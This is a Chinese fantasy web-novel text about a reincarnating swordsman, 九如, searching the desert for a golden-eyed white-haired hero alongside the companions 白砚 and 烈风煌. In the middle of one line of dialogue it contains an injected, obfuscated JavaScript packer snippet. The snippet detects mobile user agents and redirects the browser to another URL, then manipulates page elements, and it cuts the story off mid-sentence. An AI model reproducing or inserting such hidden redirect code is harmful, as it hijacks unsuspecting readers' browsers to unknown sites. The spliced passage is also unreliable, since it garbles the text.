《天祚》 1. 金瞳白发逐轮回 金瞳白发逐轮回 九如睁开眼时,第一感觉是疼。 头疼,那种像是脑袋被人劈开又重新粘合的疼。他躺在滚烫的沙地上,红色衣袍铺展开来,像一朵盛开在荒漠上的血色妖花。阳光刺得他睁不开眼,他眯缝着眼睛,看见一片金黄色的天空——不,不是天空,是沙地反射的光,与天穹融成了一体。 他又重生了。 这个念头浮上来时,带着一种宿命般的麻木。第几次了?不记得。每一次重生都会带走他几乎所有的记忆,只留下一个空荡荡的躯壳,和刻在灵魂深处的一个执念: 要找一个人。 金瞳,白发。 就这么四个字,像烙铁烙进意识里,每一次呼吸都带着它的回响。九如抬手捂住额头,手指触到的皮肤温热,脉搏在指尖下跳动——还活着,又一次。 他缓缓坐起身,红色衣袍在沙地上拖曳出细微的声响。这身衣服很奇怪,料子轻薄却坚韧,在这样严酷的环境下竟然纤尘不染,袖口和衣襟绣着暗金色的繁复纹路,像是某种古老的符文。 灵力还在。 这感觉熟悉又陌生。一股温暖的力量在他体内流转,顺着经脉循环往复。九如尝试着调动它,掌心向上,一缕淡金色的光芒浮现,在指尖缠绕、跳跃。他站起身,深吸一口气,足尖轻轻一点—— 他飘起来了。 离地三尺,五尺,一丈。风从下方托着他,红色衣袍猎猎作响。九如低头俯瞰,一片无边无际的金黄色荒原铺展在脚下,沙丘起伏如凝固的波涛,一直延伸到视野的尽头。没有树木,没有水源,甚至没有生命的迹象,只有永恒的风卷着沙粒,在天地间呜咽。 无人区。 九如皱起眉头。他依稀记得自己是要吃东西的——这个认知来得突兀而原始,却无比真实。饥饿感尚未涌现,但身体的本能已经在预警:如果找不到食物和水,这具刚刚重生的躯壳很快就会再次死去,然后进入下一次轮回。 “真是……”他低声自语,声音沙哑,“麻烦。” 选了一个方向,他向前飞去。 起初飞得不高,离地数丈,慢慢升高,直到可以俯瞰整个荒原。风在耳边呼啸,红色衣袍如翅膀般展开。飞行几乎不消耗灵力,或者说,这里的灵力异常充沛,如同取之不尽的源泉。这让九如稍稍安心。 一个时辰,两个时辰。 景色没有任何变化。金黄的沙,灰白的岩,偶尔出现的干涸河床像大地干裂的嘴唇。九如开始怀疑自己的选择,但停下意味着死亡,继续飞行至少还有希望。 就在太阳升到天顶,将沙地烤得滚烫时,一抹异色闯入眼帘。 绿色。 不是荒原上那种濒死的黄绿,而是一种鲜活的、流动的翠绿。九如精神一振,加速飞去。近了才看清,那是一条河流——窄窄的,蜿蜒如蛇,两岸居然顽强地生长着一些低矮的灌木。 他降落在河边,蹲下身,伸手探入水中。 水很凉,清澈见底。九如捧起一捧,正要送到嘴边,忽然心念一动。他站起身,后退一步,右手抬起,五指张开对准河流。 什么都没发生。 他愣了一瞬,随即闭上眼,让灵力顺着某种本能流转。这一次,水流应声而起,如同被无形的手掌托起,在空中形成一道旋转的水柱。九如手腕翻转,水柱随之压缩、凝练,水分被剥离,只剩下最精纯的水之精华。 这个过程自然而流畅,仿佛已经重复过千百遍。 水之精华在他掌心凝聚,渐渐拉长、塑形。一柄剑的雏形出现了——三尺青锋,剑身通透如碧玉,剑柄处有细微的螺旋纹路。九如专注地看着,灵力继续灌注,剑身越来越凝实,最后在剑尖处,一点殷红如血的光芒悄然浮现。 成形了。 一柄青色长剑,剑尖一点红,静静悬浮在他掌心之上。 九如握住剑柄。触感温润如玉,剑身微微颤动,仿佛有自己的心跳。他随意一挥,剑锋划破空气,发出清越的嗡鸣。灵力顺着剑身流淌,与他的经脉共振,合二为一。 就在这时,两个字毫无预兆地撞进脑海: “承影。” 剑的名字。也是……他的名字? 不,他不叫承影。他是九如。可是为什么这柄剑会叫这个名字?为什么他对它有如此强烈的熟悉感? 脑中忽然闪过一个画面——模糊,破碎,却震撼人心:一个人影立于苍穹之下,手持长剑,剑锋所指,云开雾散。那身影挺拔如孤松,白发在狂风中狂舞,金色的瞳孔在黑暗中燃烧如不灭的火焰。 一剑斩天地。 画面转瞬即逝,留下的却是深入骨髓的悸动。 九如低头看着手中的剑,又抬头望向无垠的荒原,一个荒谬的念头在心中萌芽:“原来……我就是救世大英雄?” 这念头带着三分茫然,七分自嘲,却莫名地让他挺直了脊背。 大英雄也是要吃饭的。九如心念一动,剑化作一道青光融入他掌心,只在手腕处留下一道浅浅的青色印记。他沿着河流向下游飞去,希望能找到人烟,或者至少找到可以果腹的东西。 又一个时辰过去,除了河岸两边逐渐稀疏的灌木,一无所获。 九如开始感到疲惫。不是身体上的,而是精神上的。独自一人面对永恒的荒芜,时间会变得粘稠而沉重。他降落在沙地上,承影剑再次出现在手中,他拄着剑,望着远方。 “不会吧,”他自言自语,“无人区的英雄?有人来救我吗?” 声音在空旷的戈壁上散开,没有回音。 就在这时,一声哞叫从身后传来。 低沉,粗犷,带着野性的力量。九如猛地转身,只见地平线上烟尘滚滚,一群黑影正以惊人的速度向他冲来。近了才看清,那是一群牛——但和他记忆中的任何牛都不一样。它们体型巨大,肩高足有丈余,全身覆盖着浓密的、纠结的毛发,头顶的角弯曲如弯刀,在阳光下闪着寒光。 更不妙的是,它们正对着他冲来。 九如低头看了看自己的一身红袍,在金黄色背景的映衬下,确实鲜艳得像个靶子。 他当机立断,转身就跑——不,是飞。灵力催动到极致,整个人化作一道红光向前疾射。风声在耳边尖啸,下方的景物飞速倒退。九如不敢回头,只能凭感觉调整方向,试图甩掉身后的兽群。 不知飞了多久,胡乱转向中,一抹绿色再次闯入视野。 不是河流,而是一片真正的绿洲——棕榈树高大的树冠如伞盖般张开,灌木丛生,中间似乎还有水光潋滟。 九如心中狂喜,顾不上身后的追兵是否还在,调转方向直冲绿洲而去。距离拉近,他看见绿洲边缘站着一个黑影,背对着他,似乎正在观察什么。 “喂!!兄台!!你好吗!!”九如高声呼喊,声音中带着绝处逢生的激动。 对方似乎回了一句什么,距离太远,听不清。 九如更加高兴,加速冲过去。近了,近了,他能看清对方的身形轮廓,似乎是个披着斗篷的人。他落在绿洲边缘,大步走向那人。 “这位朋友,我——” 话说到一半,卡在喉咙里。 那不是什么披斗篷的人,而是一头驴。通体漆黑的驴,只有头顶的辔头是鲜艳的红色,在阳光下格外扎眼。驴子听见动静,转过头来,一双大眼平静地看着九如,然后抬了抬前蹄,打了个响鼻。 “……” 九如站在原地,一时无语。 人和驴对视了三秒。 然后,乌泱泱的喊杀声从绿洲深处传来。 一群人冲了出来。穿着粗糙的皮甲和麻布衣服,皮肤被晒得黝黑,手中高举着棍棒、长刀,甚至还有几把生锈的铁剑。他们看见九如,眼睛立刻红了。 “偷金贼!找到了!!” “抓住他!!别让他跑了!!” 九如下意识要跑,但已经晚了。一张金色的大网从天而降,网线细如发丝却坚韧异常,在阳光下闪着奇异的光泽。九如立刻掐诀,承影剑应召而出,剑锋上青光流转—— 就在这一刹那,一道阴影笼罩了他。 不是网的阴影,而是人的影子。白色长发如瀑般从他眼角掠过,带着一种清冷的气息。九如下意识顿住了,转头看去,只看见一个背影——挺拔,修长,白发如雪,正迅速融入人群中。 这一个迟疑,错过了最佳时机。 金网落下,将他整个罩住。网线一接触身体立刻收紧,灵力运转顿时滞涩。承影剑上的光芒闪烁几下,熄灭了。众人一拥而上,将他按倒在地。 “捆结实点!这贼会妖法!” 粗糙的绳索捆住手腕,勒进皮肉。九如挣扎着抬头,在人群的缝隙中寻找那个白发的影子,但那人已经消失不见了。 “我不是偷金贼!”九如喊道。 回应他的是一记闷棍,敲在肩头,不重,但足以让他闭嘴。 “每个被抓的都这么说。”一个满脸横肉的汉子蹲下来,捏住九如的下巴,“说,把金子藏哪儿了?” “什么金子?我没见过金子。”九如咬牙道。 “还嘴硬!”另一人踹了他一脚,“我们在绿洲守了三天,就你一个外人进来,不是你是谁?” 九如忽然明白了。那个白发人——是故意引他来这里的?那个背影,那头驴,都是诱饵? 他被拖起来,推搡着往绿洲深处走去。一路上,九如观察着环境。这片绿洲不大,中央有一个天然形成的湖泊,湖水清澈。周围散落着几十顶帐篷,都是用兽皮和粗布搭成,简陋但结实。居民们从帐篷里探出头来,男女老少都有,看向九如的眼神充满敌意。 他被带到最大的那顶帐篷前,按倒在地。 帐篷帘子掀开,一个老人走了出来。他年纪很大了,脸上皱纹如刀刻,背微微佝偻,但眼睛很亮,像鹰一样锐利。老人拄着一根骨杖,杖头镶嵌着一颗浑浊的黄色宝石。 “族长,偷金贼抓到了。”押着九如的汉子恭敬地说。 老人没说话,只是走到九如面前,低头看着他。那目光如有实质,扫过九如的脸、他的红袍、他手腕上的青色剑印。许久,老人缓缓开口:“你不是这里的人。” “我从戈壁深处来。”九如实话实说。 “戈壁深处?”老人眯起眼睛,“那里是死地,没有人能在那里生存。” “但我确实从那里来。”九如试图挣扎,绳索却越捆越紧,“我没有偷你们的金子。我甚至不知道这里有金子。” 老人沉默片刻,忽然伸手按在九如额头上。 一股陌生的灵力涌入九如体内,粗暴地探查着他的经脉。九如下意识抵抗,但金网的压制让他的灵力运转不畅。老人的灵力在他体内游走一圈,最后停在他丹田处。 “奇怪……”老人喃喃自语,“你的灵力……很古老。而且你确实没说谎——至少你认为自己没说谎。” 他收回手,对周围的人说:“先把他关起来,我要仔细查查。” 九如被拖到绿洲边缘的一个地牢里。说是地牢,其实就是个深坑,上面盖着木栅栏。他被扔进去,金网被收回,但手脚仍被捆着。坑底铺着干草,潮湿阴冷。 脚步声远去,四周安静下来。 九如躺在干草上,望着头顶木栅栏缝隙中漏下的天光。这一天的经历如走马灯般在脑中回放:重生,飞行,凝剑,被牛群追赶,遇见驴,被抓…… 还有那个白发人。 为什么那人要陷害他?还是说,只是巧合? 夜色渐深,气温骤降。 戈壁的白天酷热,夜晚却寒冷刺骨。九如的红袍虽然特殊,但也难以完全抵御寒意。他蜷缩起来,运转灵力温暖身体。就在这时,头顶传来细微的响动。 他警觉地抬头,只见木栅栏被轻轻挪开一条缝,一个身影悄无声息地滑了进来。 月光从缝隙中漏下,照亮了来人的脸。 白发如雪,在月光下泛着清冷的光泽。但不是他要找的人——因为那双眼睛是深褐色的,在黑暗中显得格外沉静。这是一个年轻人,看上去不过二十出头,面容清俊,眉宇间有种与年龄不符的沉稳。 他落在九如面前,动作轻盈如猫。 “嘘。”年轻人竖起一根手指抵在唇边,然后蹲下身,开始解九如手腕上的绳索。他的手指很灵活,绳结很快被解开。 “你是谁?”九如压低声音问。 “救你的人。”年轻人简短地说,又补充一句,“也是害你被抓的人。” 九如愣住了。 绳索全部解开,年轻人站起身,向九如伸出手:“先离开这里,路上解释。” 九如握住那只手,借力站起。两人一前一后攀出地牢,落地时没有发出一点声音。年轻人对绿洲的地形很熟悉,带着九如在帐篷的阴影中穿梭,避开巡逻的人。 他们来到绿洲边缘,那头黑驴等在那里。 “上去。”年轻人拍了拍驴背。 “这是你的驴?”九如问。 “算是吧。”年轻人翻身上驴,向九如伸出手,“快点,他们很快就会发现你不见了。” 九如犹豫了一瞬,还是握住他的手,坐到他身后。黑驴迈开步子,不紧不慢地走进戈壁。它的脚步异常轻快,在沙地上几乎不留痕迹。 远离绿洲后,九如终于忍不住问:“现在可以解释了吗?” 年轻人没有回头,声音随风飘来:“我叫白砚。今天的事,我很抱歉。但我需要确认一些事情。” “确认什么?” “确认你是不是我要等的人。”白砚说,“绿洲的金子确实被盗了,但我知道不是你干的。真正的贼是内鬼,我已经有线索了。但我需要一个外来者作为诱饵,引出真正的贼。” 九如感到一股无名火:“所以你就让我当替罪羊?” “你会没事的。”白砚的语气很平静,“族长不是糊涂人,他很快会查出真相。我只是需要一点时间。” “那我要是被他们打死了呢?” “你不会。”白砚终于回过头,深褐色的眼睛在月光下显得有些神秘,“你手腕上的剑印,是承影剑的标记。能驾驭承影剑的人,不会这么容易死。” 九如下意识地摸了摸手腕:“你知道承影?” “知道一些。”白砚转回头,“上古神兵,择主而栖。它的上一任主人……是个传奇。” 九如的心脏猛地一跳:“上一任主人?是谁?” 白砚沉默了片刻,说:“一个金瞳白发的人。” 空气仿佛凝固了。 九如抓住白砚的肩膀:“你见过他?他在哪里?” “我不知道他在哪里。”白砚的声音低了下去,“我也在找他。很久了。” 黑驴继续前行,两人陷入了沉默。夜风呼啸,卷起细沙打在脸上,微微刺痛。九如看着白砚的背影,白发在风中飞舞,有那么一瞬间,他几乎以为这就是他要找的人。 但不是。 他要找的人有一双金色的眼睛,而白砚的眼睛是褐色的。 “你为什么找他?”九如问。 白砚没有立刻回答。许久,他才说:“为了一个承诺。也为了……赎罪。” 这个回答太模糊,但九如听出了其中的沉重。他没有再追问,每个人都有自己的秘密,就像他自己也不明白为什么要寻找一个连长相都记不清的人。 他们走了一整夜。 黎明时分,前方出现了一片废墟。那是古代建筑的残骸,石柱倾颓,墙壁倒塌,只有中央一座高塔还勉强屹立着,塔身布满裂缝,仿佛随时都会崩塌。 白砚勒住驴,跳下来:“到了。” “这是哪里?”九如环顾四周。废墟占地很广,能看出曾经的宏伟,但如今只剩下断壁残垣,荒凉得令人心悸。 “一个临时据点。”白砚牵着驴走进废墟,“跟我来。” 他们来到高塔下,白砚在塔基的某块石砖上按了一下,地面无声地滑开,露出向下的阶梯。阶梯很深,两侧的墙壁上镶嵌着发光的矿石,散发着柔和的白色光芒。 向下走了大约百级阶梯,眼前豁然开朗。 这是一个巨大的地下空间,明显是人工开凿而成。穹顶高悬,上面绘制着星辰图案,虽然年代久远,色彩依然鲜明。房间中央有一个圆形水池,池水清澈见底,水底铺着发光的鹅卵石。四周散落着一些简单的家具:石床,石桌,石凳,还有几个书架,上面摆满了古老的卷轴。 最引人注目的是房间尽头的一幅壁画。 壁画占据了整面墙,描绘的是一场战争。天空中巨龙盘旋,地面上军队厮杀,而在画面的中央,一个人手持长剑,剑锋所指,万邪退避。那人背对着画面,只能看见一头如雪的白发,和剑身上那一点殷红。 承影剑。 九如走到壁画前,伸手触摸墙壁。颜料已经干裂,但画面依然震撼。 “这是什么时候画的?”他问。 “至少三千年了。”白砚走到他身边,“画上的人,就是承影剑的上任主人,也是我要找的人。” “他叫什么名字?” 白砚摇摇头:“我不知道他的真名。在古籍中,他被称为‘守渊者’。” 守渊者。九如默念着这个名字,心中涌起一种奇异的感觉,仿佛这三个字触动了他记忆深处的某根弦。 “你为什么要找他?”九如转过身,直视白砚的眼睛。 白砚避开他的目光,走到水池边,俯身掬起一捧水。水从他指缝间漏下,滴落池中,发出清脆的声响。 “因为一个错误。”他说,声音轻得几乎听不见,“一个我犯下的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109766|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法挽回的错误。” 他抬起头,看着九如:“你不是一直在重生吗?每次重生都会失去记忆,但会记得自己要找一个人,金瞳白发。” 九如浑身一震:“你怎么知道?” “因为我也一样。”白砚苦涩地笑了笑,“只不过我重生的次数比你少,记住的东西比你多一点。我知道我在找谁,也知道我为什么要找他——因为我曾经背叛过他。” 九如张了张嘴,却不知道该说什么。 白砚继续道:“那场战争,壁画上的那场战争,我们输了。守渊者为了给我们争取撤退的时间,独自留下断后。他让我带人先走,我答应了。但是……” 他握紧拳头,指节发白。 “但是我害怕了。我带人走了,没有回头。后来……再也没有他的消息。有人说他战死了,有人说他被封印了,也有人说他遁入轮回,开始了无尽的重生。” 九如忽然明白了:“你认为我就是他?守渊者的转世?” “我不知道。”白砚诚实地说,“承影剑选择了你,这很说明问题。但你没有金瞳,也没有关于他的完整记忆。也许你是他的转世,也许你只是偶然得到了他的剑。无论如何,我都要找到真相。” “所以你故意引我去绿洲,是为了试探我?” “是的。”白砚点头,“我需要看看你的反应,看看承影剑在你手中的威力。更重要的是,我需要确认你的品性。守渊者是个……很纯粹的人。他不会坐视无辜者受难,也不会为了一己私利伤害他人。” 九如想起自己被当成偷金贼时的愤怒和委屈,想起那些居民敌视的眼神,想起族长锐利的目光。他确实没有偷金子,也从未想过要伤害那些人。 “那你试探出什么了?”他问。 白砚看着他,深褐色的眼睛在幽光中显得格外深邃:“你生气了,但没有怨恨。你困惑,但没有绝望。最重要的是——你没有滥用自己的力量。即使在被冤枉、被捆绑的时候,你也没有用承影剑伤人。” 他顿了顿,说:“这很像他。” 九如不知道该感到荣幸还是荒谬。他是九如,一个连自己从哪来、要到哪去都不清楚的人,现在却被告知他可能是一个上古英雄的转世。 “就算我是他的转世,”他说,“那又怎样?我没有他的记忆,没有他的力量,没有他的觉悟。我只是个……一直在重生,一直在寻找的普通人。” “没有人天生就是英雄。”白砚说,“守渊者也不是。他是在无数次战斗中,在无数次选择中,慢慢成为那个守渊者的。” 他走到书架前,抽出一卷古老的羊皮卷,递给九如:“这是关于他的记载。虽然不全,但也许能帮你想起些什么。” 九如接过羊皮卷,展开。上面的文字很古老,但他居然能读懂——这又是一项他不记得自己拥有的能力。 “守渊者,名不详,生于混沌之初,镇守深渊之门。持承影剑,剑出如虹,一点红芒破万邪。性沉静,少言语,唯眸如熔金,发如新雪……” 金瞳白发。 九如的手指拂过这些文字,脑海中那个模糊的影像逐渐清晰。是的,就是这个样子,金瞳如烈日燃烧,白发如风雪凛冽,手持长剑,立于天地之间。 “他镇守的深渊之门是什么?”九如问。 “连接现世与虚无的通道。”白砚说,“混沌之力从门中渗出,腐蚀生灵,扭曲法则。守渊者的职责就是不让门完全打开。” “那场战争……是怎么回事?” “有人想打开门。”白砚的声音冷了下去,“他们认为混沌之力能带来永生和力量。他们组织了一支军队,攻打深渊之门。守渊者独自守门三百年,直到我们前去支援。但敌人的力量超出了预计,我们败了。最后关头,守渊者选择了牺牲自己,封印了门。” 他闭上眼睛,似乎不愿回忆那段过去。 “门被封住了,但代价是他的消失。从那以后,深渊之门再也没有动静,守渊者也成了传说。” 九如卷起羊皮卷,心中涌起复杂的情绪。如果他是守渊者的转世,那他的重生,他的寻找,是否都与那扇门有关?如果白砚说的是真的,那么他们的重逢,是命运的安排,还是新一轮灾难的开始? “接下来你打算怎么办?”九如问。 “继续寻找。”白砚说,“无论你是不是守渊者,我都要找到真相。而且……”他看向九如手腕上的剑印,“承影剑既然选择了你,就说明混沌之力可能再次活跃。我们必须做好准备。” 九如沉默良久,终于点了点头。 也许他永远也弄不清自己是谁,但至少现在,他有了一个同伴,一个目标。他要继续寻找那个金瞳白发的人,同时也要查明承影剑选择他的原因,查明深渊之门的秘密。 “那我们该从哪里开始?”他问。 白砚走到房间中央的水池边,伸手在水面上轻轻一划。水面泛起涟漪,然后逐渐平静,变成一面镜子。镜中映出的不是他们的倒影,而是一片荒凉的景象:黑色的土地,扭曲的枯树,天空是病态的紫红色。 “深渊之门的遗址。”白砚说,“虽然门被封住了,但那里还残留着混沌的气息。也许我们能找到线索。” “怎么去?” “徒步。”白砚说,“那里被强大的结界笼罩,无法直接传送,也无法飞行。我们必须走过去,穿过三千里荒原,跨越白骨山脉,渡过冥河。” 听起来像是一场有去无回的旅程。 但九如没有退缩。他经历了无数次重生,每次都在寻找,每次都在迷茫中死去。这一次,也许他终于能找到答案。 “什么时候出发?”他问。 “明天。”白砚说,“今天先休息,恢复体力。这条路……不好走。” 九如点点头。他走到石床边坐下,承影剑化作青光从他手腕浮现,落在膝上。他抚摸着剑身,感受着那温润的触感和内在的脉动。 守渊者……他默念着这个名字。 如果他就是守渊者,那么他的重生是为了什么?如果他是守渊者,为何没有完整的记忆?如果他是守渊者,为何会有一双普通的黑眼睛,而不是金色的? 问题太多,答案太少。 但至少,旅程开始了。 窗外的天应该已经亮了。九如躺下来,闭上眼睛。在陷入睡眠的前一刻,他忽然想起一件事。 “白砚,”他说,“你重生过多少次?” 黑暗中,白砚的声音幽幽传来:“二十七次。每一次,我都在找他。” “找到过吗?” “没有。但这一次……也许不同。” 也许不同。九如想着这三个字,沉沉睡去。 梦中,他又看见了那个金瞳白发的身影。这次更清晰了,他能看清那人脸上的表情——平静,坚定,眼中燃烧着永不熄灭的金色火焰。那人手持承影剑,站在一扇巨大的门前。门是黑色的,上面刻满了扭曲的符文,门缝中渗出紫黑色的雾气。 那人回头看了一眼。 目光穿越了三千年的时光,直直地看向九如。 九如猛然惊醒。 天还没亮。白砚坐在水池边,正在擦拭一把短刀。刀身狭长,刃口闪着寒光。 “做噩梦了?”白砚头也不抬地问。 “不算噩梦。”九如坐起身,“只是……又梦见他了。他看了我一眼。” 白砚的动作顿了一下:“他看你的眼神是什么样的?” 九如回想了一下:“很复杂。有期待,有嘱托,还有……悲伤。” 白砚放下刀,沉默良久。 “准备好出发了吗?”他终于问。 九如点头,跟着他走出地下空间。黑驴已经在废墟外等候,背上驮着两个包裹,里面是干粮和水。 他们骑上驴,向东方出发。 晨光熹微,戈壁在黎明中苏醒。风依然在吹,但少了夜晚的凛冽,多了白天的燥热。九如回头看了一眼废墟,那座高塔在晨光中投下长长的影子,仿佛在向他们告别。 “白砚,”九如忽然说,“如果找到了他,你会说什么?” 白砚侧过头,白发在晨风中飘动。 “对不起。”他轻声说,“还有……谢谢。” 很简单的两句话,却仿佛承载了千年的重量。九如没有再问,只是握紧了手中的承影剑。 黑驴迈着稳健的步伐,在沙地上留下一串蹄印。风吹过,很快将蹄印抚平,仿佛他们从未经过。 但旅程已经开始了。 金瞳白发的守渊者,深渊之门,上古战争,无尽重生……所有的谜团都指向同一个方向。九如不知道前方等待他的是什么,但他知道,这一次,他不会停下。 他要找到答案。 找到那个人。 找到自己。 2. 金瞳白发逐轮回(二) 烈日如熔金,无情倾泻在无垠的沙海之上。 茫茫沙漠中,绿洲犹如洒落的芝麻粒,稀少而珍贵。在那片灼热得几乎扭曲视线的金色浪潮里,两个斑驳的人影正以极其缓慢的速度向前挪动。走近了看,才发现是三个影子——两个人扛着一头黑驴,深一脚浅一脚地跋涉在沙丘之间。 “我……我真是不明白……”九如满头大汗,汗水顺着脸颊滴落,在滚烫的沙地上瞬间蒸发。他气喘如牛,每说一个字都仿佛用尽全身力气,“你养这玩意儿到底有什么用?不能当坐骑就算了,连行李都背不动,宰了吃了算了,还能补充点体力……” 话音未落,黑驴猛地抬起后蹄,准确无误地踢在他小腿上。 “嘶——”九如倒吸一口凉气,差点把肩上的驴摔下去,“它还真听得懂人话?!” 白砚从额头抹去一把热汗,汗水在指尖凝成晶莹的水珠。他瞥了黑驴一眼,语气平淡却不容置疑:“她是我祖宗,别把她当驴。” 九如扯了扯嘴角,汗水浸湿的红袍贴在身上,黏腻难受:“你比她更像驴。至少驴知道偷懒,你连休息都不让。” “你还想不想走出沙漠了?”白砚翻了个白眼,深褐色的瞳孔在烈日下微微收缩。 九如在嘴边做了个拉链的手势,表示自己闭嘴了。两人继续扛着黑驴,在沙海中艰难前行。阳光毒辣,沙地滚烫,每一步都像是在炭火上行走。九如的视线开始模糊,耳边嗡嗡作响,心脏跳动得如同战鼓,每一次呼吸都带着灼痛。 他恍惚间感觉自己似乎又要死了。 这种感觉很奇怪——不是恐惧,不是痛苦,而是一种熟悉的、近乎亲切的预感。心里像是被羽毛轻轻挠了一下,灵魂仿佛已经飘在半空,俯瞰着下方那具汗流浃背、步履蹒跚的躯壳。 “我终于要死了吗?”这个念头浮上来时,竟然带着一丝解脱。 就在这时,耳边传来一声清脆的轻斥: “嚯,黑驴蹄子大黑鬼!这里果然有宝藏!” 声音带着少女特有的清亮,却又夹杂着几分粗野的豪气。九如顺着声音看过去,恍惚间以为自己看到了沙子成精——前方一坨比沙子还黄的物体正飞速靠近,速度快得惊人,所过之处扬起漫天狂沙,像一道移动的沙暴。 “呸!”白砚吐出一口沙子,眯起眼睛,“修罗刀?” 九如刚想问什么刀,就听到那清脆的声音接话道:“哎呀,同道中人?兄台你好,你是哪家的?” 沙尘缓缓落定,一张明艳动人的脸庞映照眼帘。 那是个漂亮姑娘,美得如同沙洲中央的弯月泉,灵动而清澈,让人看一眼就再也看不见别的。她头戴蓝色头纱,纱面上点缀着星星点点的宝石,在阳光下折射出细碎的光芒。头纱盖住了下半张脸,却遮不住那双细长的峨眉和明亮如小鹿的大眼睛。左眼角下方有一道红色的火纹,朱砂般的色泽,为她添了几分桀骜的张狂。 她身穿一身灿若眼光的黄色锦衣,腰束碧玉腰带,头戴红白相间的羽饰。一头乌黑亮丽的头发编成两条马尾,随着她的动作在身后欢快地摆动。整个人站在那里,就像沙漠中升起的一轮小太阳,耀眼得令人不敢直视。 那女子伸出皙白的小手,手指上还沾着细碎的砂砾,在阳光下散发着细闪的微光。 “我叫烈风煌,修罗道第十二代传人,来自可可西。”她歪着头,大眼睛在两人身上好奇地打转,“你们是哪里人?来荒山无人州寻宝的?” 白砚缓缓放下肩上的黑驴,动作轻柔得仿佛在放置易碎的瓷器。他双手交错在胸口,冲烈风煌行了一个古怪的礼节——右手掌心贴在左胸,左手背在身后,微微躬身。那姿势流畅而古老,带着某种仪式感。 “我是阿尔默人。”白砚直起身,白发在热风中微微飘动,“我们是寻人的,不是寻宝。” 九如微微一怔:“阿尔默?怎么从来没听过?” 他确实没有听过这个名字。在他的记忆碎片中——那些破碎的、散落在无数次重生里的零星画面——从未出现过“阿尔默”这三个字。但他又隐隐觉得,白砚在说这个词时,语气中有一种难以言喻的重量。 烈风煌点点头,目光转向九如,大眼睛里满是期待。 九如迟疑了一下。他该说自己是谁?一个连自己是谁都不知道的人?一个在无尽轮回中寻找幻影的幽灵?最终,他选择了记忆中最早、也最清晰的那个身份: “我是蓬莱人。”他说,“也是来找人的。” 话音落下,空气突然凝固了。 白砚沉默了,那双深褐色的眼睛直直盯着九如,瞳孔深处有什么东西在剧烈翻涌。烈风煌的眼神变得微妙起来,她上上下下打量着九如,像是要从他身上找出什么破绽。 “你真是蓬莱人?”烈风煌问,声音里带着明显的怀疑。 九如点头。他记得的——或者说,他以为自己记得。在他破碎的记忆里,有那么一些片段格外清晰:冰冷的山峰,云雾缭绕的宫殿,青石台阶上覆着薄霜。有师门,有师尊,晨起修炼时要吸食第一缕晨光中的露水,夜晚在瀑布边烤鱼,鱼是从山涧里抓来的,鳞片在火光下闪着银光。 有时候他会下山,和山脚的村民做些买卖,用山上的草药换些米面。村民们都叫他“小仙长”,虽然他知道自己离真正的仙还差得远。 后来战乱来了。 马蹄踏碎了山脚的村庄,火光染红了半个天空。山上的师门也不能幸免——他记得那场战斗,记得师兄们倒在血泊中,记得师尊最后将他推入密室,自己转身迎向敌人。他不知道自己是怎样躲过那场劫难的,只知道再次醒来时,世界已经全然陌生。 从那以后,每一次重生都是一场随机的放逐。 有时候在山川之间,他跟着猎户学习狩猎,用简陋的弓箭射杀野兔;有时候在海边,和渔民一起出海,在波涛中颠簸求生;有时候在泥沼旁边,还没上岸就被潜伏的鳄鱼拖入水中;有时候在桥上,被路过的商队捡回去,养了一个月,主人家吃不起饭,将他卖了,他被迫跟着许多孩子学习杂役,刷碗、扫地、劈柴。 好不容易长大,又遇到战乱,被人一棍子打死在逃难的路上。 再后来,他睁眼的地方越来越偏僻。森林深处,沙漠边缘,雪山顶上。他学会了辨认哪些野果能吃,哪些蘑菇有毒,如何在野兽出没的地方过夜。但即便如此,他能活的时间也越来越短——有时候是饿死,有时候是冻死,有时候是被不知名的生物杀死。 他一度以为自己就要这样孤零零地、永无止境地死去活来,去寻找一个虚无缥缈的人。 直到这一次的绿洲。 直到遇见白砚,遇见眼前这位烈风煌。虽然刚认识,但他总觉得他们很亲切——不是熟悉的那种亲切,而是一种更深层的、仿佛灵魂层面产生的共鸣。 于是他毫无保留地道出了自己最早的身份。 白砚的脸色越来越难看,那双总是平静无波的眼睛此刻翻涌着复杂的情绪:震惊、怀疑、愤怒,还有一丝……痛苦? 烈风煌的眼睛在两人之间来回打转,嘴角勾起一个意味深长的弧度:“我可是听说,蓬莱山早在六百年前就被灭了。” 她顿了顿,观察着两人的反应。 “还是被一个不到五十人的族群灭的。”烈风煌继续说,声音清脆得像沙漠夜晚的风铃,“这个群体的人后来被各大门派联合讨伐,但听说他们天生对自然之力具备洞察力,无论怎么围剿,他们都能在极其困苦的环境里生存下来。后来为了融入大陆,他们给自己取了个名字——” 她的目光落在白砚身上。 “好像叫阿尔默,寓意是……赎罪。” 沉默。 死一般的沉默。 热风卷着沙粒从三人之间呼啸而过,黑驴打了个响鼻,打破了这令人窒息的寂静。 九如:“…………” 白砚:“……” 两人对视一眼,又迅速移开目光。九如从白砚眼中看到了难以置信的震惊,而白砚从九如眼中看到了同样茫然的困惑。 烈风煌笑眯眯地看着他们,那双小鹿般的大眼睛里闪烁着狡黠的光芒:“你们怎么一副刚知道的样子?原来你们不是同伴啊?” 九如张了张嘴,却发现自己发不出声音。蓬莱被灭?被阿尔默人灭的?阿尔默人是白砚的族群?而白砚一直在寻找的金瞳白发的人——难道就是蓬莱的幸存者?或者更糟,是蓬莱的仇人? 他的大脑一片混乱,无数问题像炸开的烟花,却一个也抓不住。 白砚深吸一口气,沙漠灼热的空气灼烧着肺部。他看向烈风煌,声音沙哑:“你从哪里听说的?” “修罗道有自己的情报网。”烈风煌耸耸肩,红白羽饰在阳光下轻轻晃动,“我们这一脉专门研究上古秘辛和失传的功法。蓬莱和阿尔默的恩怨,在古籍里有零星记载,只是大多数人都当传说听罢了。” 她走到黑驴身边,伸手摸了摸驴头。黑驴居然没有踢她,反而温顺地蹭了蹭她的手心。 